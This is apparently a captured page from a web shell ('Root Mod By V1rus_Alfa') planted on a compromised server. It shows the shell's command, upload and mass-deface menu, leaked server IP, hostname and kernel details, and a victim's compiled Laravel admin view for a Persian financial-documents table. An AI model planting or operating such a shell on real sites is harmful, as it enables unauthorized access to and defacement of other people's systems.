���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
storage
/
framework
/
views
/
Viewing: c521a2ead9560833b90a21f7eb2449bc.php
<div> <!------------ Filter ----------> <div class="my-2"> <div x-data="{open:false}"> <button type="button" class="inline-flex w justify-center px-4 py-2 text-sm font-medium text-gray-700 bg-white border border-gray-300 rounded-md shadow-sm hover:bg-gray-50 focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50 " x-on:click="open = !open" > فیلتر <svg class="w-5 h-5 mr-2 -ml-1" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 4a1 1 0 011-1h16a1 1 0 011 1v2.586a1 1 0 01-.293.707l-6.414 6.414a1 1 0 00-.293.707V17l-4 4v-6.586a1 1 0 00-.293-.707L3.293 7.293A1 1 0 013 6.586V4z"></path> </svg> </button> <div x-show="open " x-transition:enter="ease-out duration-300" x-transition:enter-start="opacity-0 translate-y-4 sm:translate-y-0 sm:scale-95" x-transition:enter-end="opacity-100 translate-y-0 sm:scale-100" x-transition:leave="ease-in duration-200" x-transition:leave-start="opacity-100 translate-y-0 sm:scale-100" x-transition:leave-end="opacity-0 translate-y-4 sm:translate-y-0 sm:scale-95" class=" mt-3 w-full md:flex md:space-y-0 md:space-x-2"> <div class=" space-y-2 lg:space-y-0 lg:flex justify-start items-center"> <input type="text" wire:model.live='from' placeholder="از" class="block w-full ml-2 border-gray-300 rounded-md shadow-sm transition duration-150 ease-in-out sm:text-sm sm:leading-5 "> <input type="text" wire:model.live='to' placeholder="به " class="block w-full ml-2 border-gray-300 rounded-md shadow-sm transition duration-150 ease-in-out sm:text-sm sm:leading-5 "> <input type="text" wire:model.live='order_id' placeholder="کد سفارش... " class="block w-full ml-2 border-gray-300 rounded-md shadow-sm transition duration-150 ease-in-out sm:text-sm sm:leading-5 "> <div class="w-full"> <?php $__split = function ($name, $params = []) { return [$name, $params]; }; [$__name, $__params] = $__split('general.date-time-picker', ['typeShow' => 'range','js' => 'true','format' => 'YYYY-MM-DD','min' => 'vue','vModel' => 'date','type_show' => 'range','type' => 'date','methode' => 'set_date']); $__key = null; $__key ??= \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::generateKey('lw-2549095930-0', $__key); $__html = app('livewire')->mount($__name, $__params, $__key); echo $__html; unset($__html); unset($__key); unset($__name); unset($__params); unset($__split); if (isset($__slots)) unset($__slots); ?> </div> </div> </div> </div> </div> <!------------ Table ----------> <div class=" w-full" > <div class="block shadow-md rounded-t-xl overflow-x-auto"> <table class="w-full text-left overflow-hidden"> <thead> <tr class="text-gray-900 bg-gray-100 "> <th class="truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 " > # </th> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(Auth::user()->roll == 'ADMIN'): ?> <th class=" truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 border-r border-gray-300 " > نام خدماتی </th> <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> <th class=" truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 border-r border-gray-300 " > مجموع بدهکاری </th> <th class="truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 border-r border-gray-300 " > مجموع بستانکاری </th> <th class=" truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 border-r border-gray-300" > تفاضل بدهکاری و بستانکاری </th> <th class="truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 border-r border-gray-300" > تاریخ و ساعت </th> <th class="truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 border-r border-gray-300 " > شماره سفارش </th> <th class="truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 border-r border-gray-300" > دریافت و پرداخت </th> <th class=" truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 border-r border-gray-300 " > از </th> <th class=" truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 border-r border-gray-300" > به </th> <th class="truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 border-r border-gray-300" > رسید </th> <th class="truncate py-2 text-center text-sm font-light min-w-[4rem] px-1 border-r border-gray-300" > توضیحات </th> </tr> </thead> <tbody> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php $__currentLoopData = $result; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $row): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr wire:key='<?php echo e($row->id); ?>' class="w-full font-light text-gray-800 hover:bg-main-700 cursor-pointer hover:text-white whitespace-no-wrap bg-white border border-b "> <td onclick="window.location='/admin/financial/document/single/<?php echo e($row->id); ?>'" class="truncate px-2 py-2 text-sm text-center font-light "> <?php echo e($row->id); ?> </td> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(Auth::user()->roll == 'ADMIN'): ?> <td onclick="window.location='/admin/financial/document/single/<?php echo e($row->id); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php echo e($row->user->first_name.' '.$row->user->last_name.'('.$row->user->mobile.')'); ?> </td> <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> <td onclick="window.location='/admin/financial/document/single/<?php echo e($row->id); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($row->type == 'factor'): ?> <?php echo $__env->make('tables.cells.number_duc',['key'=>$row->from,'val'=>$row->sum_bed], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?> <?php else: ?> <?php echo $__env->make('tables.cells.number_duc',['key'=>$row->to,'val'=>$row->sum_bed], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?> <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> </td> <td onclick="window.location='/admin/financial/document/single/<?php echo e($row->id); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($row->type == 'factor'): ?> <?php echo $__env->make('tables.cells.number_duc',['key'=>$row->to,'val'=>$row->sum_bes], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?> <?php else: ?> <?php echo $__env->make('tables.cells.number_duc',['key'=>$row->from,'val'=>$row->sum_bes], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?> <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> </td> <td onclick="window.location='/admin/financial/document/single/<?php echo e($row->id); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($row->diffrent_price): ?> <?php echo e($row->diffrent_price); ?> <?php else: ?> --- <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> </td> <td dir="ltr" onclick="window.location='/admin/financial/document/single/<?php echo e($row->id); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($row->type == 'factor'): ?> <?php echo e(\App\Helpers\dateConvert($row->created_at,'formatS')); ?> <?php else: ?> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($row->date): ?> <?php echo e($row->date); ?> <?php else: ?> --- <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> </td> <td onclick="window.location='/admin/financial/document/single/<?php echo e($row->id); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($row->order && $row->order->number): ?> <?php echo e($row->order->number); ?> <?php else: ?> --- <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> </td> <td onclick="window.location='/admin/financial/document/single/<?php echo e($row->id); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($row->type == 'cash_pay'): ?> پرداخت نقدی <?php elseif($row->type == 'cash_receive'): ?> دریافت نقدی <?php elseif($row->type == 'check_receive'): ?> دریافت چک <?php elseif($row->type == 'check_pay'): ?> پرداخت چک <?php elseif($row->type == 'factor'): ?> فاکتور <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> </td> <td onclick="window.location='/admin/financial/document/single/<?php echo e($row->id); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($row->type != 'factor'): ?> <?php echo e($row->from->name); ?> <?php else: ?> ---- <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> </td> <td onclick="window.location='/admin/financial/document/single/<?php echo e($row->id); ?>'" class="truncate px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($row->type != 'factor'): ?> <?php echo e($row->to->name); ?> <?php else: ?> ---- <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> </td> <td class="px-2 py-2 text-sm text-center font-light border-r border-gray-300"> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($row->receipt): ?> <?php echo $__env->make('tables.cells.actionsB',['link'=> $row->receipt,'name'=>"مشاهده ",'color'=>'bg-main-800 '], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?> <?php else: ?> ---- <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> </td> <td class="px-2 py-2 text-sm text-center font-light border-r border-gray-300 "> <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(0 < count($row->row)): ?> <?php echo $__env->make('tables.cells.collapse',['item'=>$row->row[0]], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?> <?php else: ?> ---- <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> </td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?> </tbody> </table> </div> <div class="mt-2"> <?php echo e($result->links()); ?> </div> </div> </div> <?php /**PATH /home2/cutunixc/repositories/npln/resources/views/livewire/admin/pages/financial/document/table.blade.php ENDPATH**/ ?>
Coded With 💗 by
0x6ick Mod By V1rus_Alfa